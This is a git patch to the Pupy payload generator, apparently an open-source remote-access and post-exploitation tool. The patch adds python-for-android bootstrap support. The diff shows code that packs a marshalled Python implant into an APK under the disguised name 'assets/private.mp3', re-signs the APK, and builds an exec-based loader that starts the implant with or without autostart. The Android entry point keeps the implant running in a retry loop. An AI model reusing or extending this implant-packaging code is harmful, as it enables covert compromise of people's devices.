From be9828f451e340a59f57b6ac698fe8d0cb752d90 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Mon, 19 Aug 2019 21:49:35 +0300 Subject: [PATCH] pupygen: support p4a bootstrap --- client/android_sources/main.py | 10 ++++++---- pupy/pupygen.py | 15 ++++++++++----- pupy/pupylib/payloads/dependencies.py | 15 +++++++++++---- pupy/pupylib/payloads/py_oneliner.py | 6 ++++-- 4 files changed, 31 insertions(+), 15 deletions(-) diff --git a/client/android_sources/main.py b/client/android_sources/main.py index 821b1200..bdbbfcff 100644 --- a/client/android_sources/main.py +++ b/client/android_sources/main.py @@ -11,13 +11,15 @@ os.environ['KIVY_NO_FILELOG'] = 'yes' platform.system = lambda: 'android' if __name__ == '__main__': - import pupyclient import sys setattr(sys, 'executable', 'PythonService') + + import pp + while True: try: - pupyclient.__main__() - except Exception, e: + pp.main(debug=True) + except Exception as e: import traceback - traceback.print_exc(e) + traceback.print_exc() time.sleep(10) diff --git a/pupy/pupygen.py b/pupy/pupygen.py index dbdffecc..4f068f31 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -234,18 +234,23 @@ def get_edit_apk(display, path, conf, compressed_config=None, debug=False): tempdir = tempfile.mkdtemp(prefix="tmp_pupy_") fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_") try: - packed_payload=pack_py_payload(display, get_raw_conf(display, conf), debug) + packed_payload = pack_py_payload( + display, get_raw_conf(display, conf), debug, False) shutil.copy(path, tempapk) #extracting the python-for-android install tar from the apk - zf=zipfile.ZipFile(path,'r') + zf= zipfile.ZipFile(path,'r') zf.extract("assets/private.mp3", tempdir) zf.close() - with open(os.path.join(tempdir,"pp.py"),'w') as w: + with open(os.path.join(tempdir,"pp.py"), 'w') as w: w.write(packed_payload) + import py_compile - py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo")) + py_compile.compile( + os.path.join(tempdir, "pp.py"), + os.path.join(tempdir, "pp.pyo") + ) display(Success('Packaging the apk ... (can take 10-20 seconds)')) @@ -256,7 +261,7 @@ def get_edit_apk(display, path, conf, compressed_config=None, debug=False): with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t: updateZip(tempapk, "assets/private.mp3", t.read()) - #signing the tar + # signing the tar result = BytesIO() jarsigner(priv_key, pub_key, tempapk, result) return result.getvalue() diff --git a/pupy/pupylib/payloads/dependencies.py b/pupy/pupylib/payloads/dependencies.py index d7d20c92..659254a4 100644 --- a/pupy/pupylib/payloads/dependencies.py +++ b/pupy/pupylib/payloads/dependencies.py @@ -180,8 +180,8 @@ def safe_file_exists(f): return os.path.basename(f) in os.listdir(os.path.dirname(f)) -def bootstrap(stdlib, config): - loader = '\n'.join([ +def bootstrap(stdlib, config, autostart=True): + actions = [ 'import imp, sys, marshal', 'stdlib = marshal.loads({stdlib})', 'config = marshal.loads({config})', @@ -191,8 +191,15 @@ def bootstrap(stdlib, config): 'pupy.__path__ = ["pupy://pupy/"]', 'sys.modules["pupy"] = pupy', 'exec marshal.loads(stdlib["pupy/__init__.pyo"][8:]) in pupy.__dict__', - 'pupy.main(stdlib=stdlib, config=config)' - ]) + ] + + if autostart: + actions.append('pupy.main(stdlib=stdlib, config=config)') + else: + actions.append('def main():') + actions.append(' pupy.main(stdlib=stdlib, config=config)') + + loader = '\n'.join(actions) return loader.format( stdlib=repr(marshal.dumps(stdlib)), diff --git a/pupy/pupylib/payloads/py_oneliner.py b/pupy/pupylib/payloads/py_oneliner.py index 63b11c5b..0145a33c 100644 --- a/pupy/pupylib/payloads/py_oneliner.py +++ b/pupy/pupylib/payloads/py_oneliner.py @@ -20,7 +20,7 @@ def getLinuxImportedModules(): return lines -def pack_py_payload(display, conf, debug=False): +def pack_py_payload(display, conf, debug=False, autostart=True): display(Success('Generating PY payload ...')) stdlib = dependencies.importer(( @@ -35,7 +35,9 @@ def pack_py_payload(display, conf, debug=False): ), path=ROOT, as_dict=True) ) - payload = dependencies.bootstrap(stdlib, conf) + '\n' + payload = dependencies.bootstrap( + stdlib, conf, autostart + ) + '\n' if debug: return payload